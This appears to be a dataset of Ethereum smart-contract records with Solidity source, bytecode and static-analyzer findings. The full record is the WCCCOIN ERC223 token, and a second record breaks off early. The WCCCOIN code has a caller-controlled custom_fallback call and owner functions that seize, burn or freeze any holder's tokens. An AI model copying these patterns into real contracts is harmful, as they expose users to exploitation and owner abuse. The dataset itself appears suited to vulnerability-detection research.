807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b60006002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166399bec315600560008881526020019081526020016000205483848589896040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b15801561398957600080fd5b505af115801561399d573d6000803e3d6000fd5b505050507f4a1d86235388d42bee8b26817295ba354feb351780a0005e14a02303ac302df833868686604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a15050505050565b600a602052816000526040600020602052806000526040600020600091509150505481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613aec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f7573722d616464726573732d300000000000000000000000000000000000000081525060200191505060405180910390fd5b613af9600154600161424f565b6001819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051613b2d90614269565b808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050604051809103906000f080158015613b7f573d6000803e3d6000fd5b5060026000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160046000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600560006001548152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415613cd057600154600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414613dd057600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546003600060015481526020019081526020016000206000018190555060015460036000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020600101819055505b600154600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613e60600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600161424f565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001548273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fec2d798cbd6c16b0081feb29a63dd41e115efa1047e86d08fff4b1739865bcf760405160405180910390a4600154905092915050565b826004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061403957506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b6140ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b81600960006004600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f3795e85c6a36b093c1600285f715dc4692d9f81b9b39778a16dacb483eed249a33858585604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a150505050565b6000819050600081121561423057600080fd5b919050565b600082828403915081111561424957600080fd5b92915050565b600082828401915081101561426357600080fd5b92915050565b610125806142778339019056fe6080604052348015600f57600080fd5b5060405161012538038061012583398181016040526020811015603157600080fd5b81019080805190602001909291905050508073ffffffffffffffffffffffffffffffffffffffff1663d94d4208336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801560c057600080fd5b505af115801560d3573d6000803e3d6000fd5b5050505050603f806100e66000396000f3fe6080604052600080fdfea2646970667358221220758a53f66e29fbf228ff6fd0aa1b69bcb81d115a67933d27409b0ddf5e3201d064736f6c63430006070033a2646970667358221220f1a6da6f53e5408fc26fc5e0236c6218714b0f8773b942189fa2a8ec17b953cc64736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 6,187 |
0x373ad45763e2d30a67af55e15855256df7049c1a
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
// ERC223 functions and events
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/**
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title WCCCOIN
* @author WCCCOIN
* @dev WCCCOIN is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract WCCCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "WCCCOIN";
string public symbol = "WCC";
uint8 public decimals = 8;
uint256 public initialSupply = 30e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function WCCCOIN() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063313ce56714610204578063378dc3dc1461022d57806340c10f19146102405780634f25eced1461026257806364ddc6051461027557806370a08231146103045780637d64bcb4146103235780638da5cb5b14610336578063945946251461036557806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b6101416107d0565b604051901515815260200160405180910390f35b341561016057600080fd5b6101686107d9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f2610881565b60405190815260200160405180910390f35b341561020f57600080fd5b610217610887565b60405160ff909116815260200160405180910390f35b341561023857600080fd5b6101f2610890565b341561024b57600080fd5b610141600160a060020a0360043516602435610896565b341561026d57600080fd5b6101f261098b565b341561028057600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061099195505050505050565b341561030f57600080fd5b6101f2600160a060020a0360043516610aeb565b341561032e57600080fd5b610141610b06565b341561034157600080fd5b610349610b73565b604051600160a060020a03909116815260200160405180910390f35b341561037057600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610b8292505050565b34156103c157600080fd5b610168610dfd565b34156103d457600080fd5b61012c600160a060020a0360043516602435610e70565b34156103f657600080fd5b610141600160a060020a0360043516602435610f3b565b341561041857600080fd5b610141600160a060020a0360043516611016565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061102b95505050505050565b341561049c57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506110fd9050565b34156104ef57600080fd5b6101f2600160a060020a03600435166111ff565b341561050e57600080fd5b61012c600435611211565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061123195505050505050565b34156105b357600080fd5b61012c600160a060020a0360043516611518565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506115b395505050505050565b6000600754118015610696575060075460015461069390600160a060020a0316610aeb565b10155b80156106bb5750600160a060020a0333166000908152600a602052604090205460ff16155b80156106de5750600160a060020a0333166000908152600b602052604090205442115b15156106e957600080fd5b600034111561072657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072657600080fd5b600154600160a060020a031660009081526009602052604090205460075461074e91906118d9565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078491906118eb565b600160a060020a0333811660008181526009602052604090819020939093556001546007549193921691600080516020611cb983398151915291905190815260200160405180910390a3565b60085460ff1681565b6107e1611ca6565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b60065490565b60045460ff1690565b60055481565b60015460009033600160a060020a039081169116146108b457600080fd5b60085460ff16156108c457600080fd5b600082116108d157600080fd5b6108dd600654836118eb565b600655600160a060020a03831660009081526009602052604090205461090390836118eb565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611cb98339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a039081169116146109af57600080fd5b600083511180156109c1575081518351145b15156109cc57600080fd5b5060005b8251811015610ae6578181815181106109e557fe5b90602001906020020151600b60008584815181106109ff57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610a2d57600080fd5b818181518110610a3957fe5b90602001906020020151600b6000858481518110610a5357fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610a8357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610ac357fe5b9060200190602002015160405190815260200160405180910390a26001016109d0565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610b2457600080fd5b60085460ff1615610b3457600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610b97575060008551115b8015610bbc5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610bdf5750600160a060020a0333166000908152600b602052604090205442115b1515610bea57600080fd5b610bf8846305f5e1006118fa565b9350610c058486516118fa565b600160a060020a03331660009081526009602052604090205490925082901015610c2e57600080fd5b5060005b8451811015610db657848181518110610c4757fe5b90602001906020020151600160a060020a031615801590610c9c5750600a6000868381518110610c7357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610ce15750600b6000868381518110610cb357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610cec57600080fd5b610d3060096000878481518110610cff57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054856118eb565b60096000878481518110610d4057fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610d7057fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3600101610c32565b600160a060020a033316600090815260096020526040902054610dd990836118d9565b33600160a060020a0316600090815260096020526040902055506001949350505050565b610e05611ca6565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b60015433600160a060020a03908116911614610e8b57600080fd5b600081118015610ea3575080610ea083610aeb565b10155b1515610eae57600080fd5b600160a060020a038216600090815260096020526040902054610ed190826118d9565b600160a060020a038316600090815260096020526040902055600654610ef790826118d9565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610f45611ca6565b600083118015610f6e5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f935750600160a060020a0384166000908152600a602052604090205460ff16155b8015610fb65750600160a060020a0333166000908152600b602052604090205442115b8015610fd95750600160a060020a0384166000908152600b602052604090205442115b1515610fe457600080fd5b610fed84611925565b1561100457610ffd84848361192d565b915061100f565b610ffd848483611b53565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156110555750600160a060020a0333166000908152600a602052604090205460ff16155b801561107a5750600160a060020a0384166000908152600a602052604090205460ff16155b801561109d5750600160a060020a0333166000908152600b602052604090205442115b80156110c05750600160a060020a0384166000908152600b602052604090205442115b15156110cb57600080fd5b6110d484611925565b156110eb576110e484848461192d565b90506110f6565b6110e4848484611b53565b9392505050565b60015460009033600160a060020a0390811691161461111b57600080fd5b600083511161112957600080fd5b5060005b8251811015610ae65782818151811061114257fe5b90602001906020020151600160a060020a0316151561116057600080fd5b81600a600085848151811061117157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106111af57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161112d565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461122c57600080fd5b600755565b6001546000908190819033600160a060020a0390811691161461125357600080fd5b60008551118015611265575083518551145b151561127057600080fd5b5060009050805b84518110156114f557600084828151811061128e57fe5b906020019060200201511180156112c257508481815181106112ac57fe5b90602001906020020151600160a060020a031615155b80156113025750600a60008683815181106112d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156113475750600b600086838151811061131957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561135257600080fd5b61137584828151811061136157fe5b906020019060200201516305f5e1006118fa565b84828151811061138157fe5b6020908102909101015283818151811061139757fe5b90602001906020020151600960008784815181106113b157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410156113e057600080fd5b611439600960008784815181106113f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485838151811061142a57fe5b906020019060200201516118d9565b6009600087848151811061144957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561148c8285838151811061147d57fe5b906020019060200201516118eb565b915033600160a060020a03168582815181106114a457fe5b90602001906020020151600160a060020a0316600080516020611cb98339815191528684815181106114d257fe5b9060200190602002015160405190815260200160405180910390a3600101611277565b600160a060020a033316600090815260096020526040902054610dd990836118eb565b60015433600160a060020a0390811691161461153357600080fd5b600160a060020a038116151561154857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115dd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156116025750600160a060020a0385166000908152600a602052604090205460ff16155b80156116255750600160a060020a0333166000908152600b602052604090205442115b80156116485750600160a060020a0385166000908152600b602052604090205442115b151561165357600080fd5b61165c85611925565b156118c3578361166b33610aeb565b101561167657600080fd5b61168861168233610aeb565b856118d9565b600160a060020a0333166000908152600960205260409020556116b36116ad86610aeb565b856118eb565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106117015780518252601f1990920191602091820191016116e2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561179257808201518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156117e357fe5b826040518082805190602001908083835b602083106118135780518252601f1990920191602091820191016117f4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a35060016118d1565b6118ce858585611b53565b90505b949350505050565b6000828211156118e557fe5b50900390565b6000828201838110156110f657fe5b60008083151561190d576000915061100f565b5082820282848281151561191d57fe5b04146110f657fe5b6000903b1190565b6000808361193a33610aeb565b101561194557600080fd5b61195161168233610aeb565b600160a060020a0333166000908152600960205260409020556119766116ad86610aeb565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0f5780820151838201526020016119f7565b50505050905090810190601f168015611a3c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5c57600080fd5b6102c65a03f11515611a6d57600080fd5b505050826040518082805190602001908083835b60208310611aa05780518252601f199092019160209182019101611a81565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3506001949350505050565b600082611b5f33610aeb565b1015611b6a57600080fd5b611b7c611b7633610aeb565b846118d9565b600160a060020a033316600090815260096020526040902055611ba7611ba185610aeb565b846118eb565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611bf45780518252601f199092019160209182019101611bd5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611cb98339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582063793492c521669628d885ddc25b6c693b809c75245ce8bd2563b71711b606ce0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,188 |
0xbb06ad29fbb9fe3089452505e253ae0786e5a2c1
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
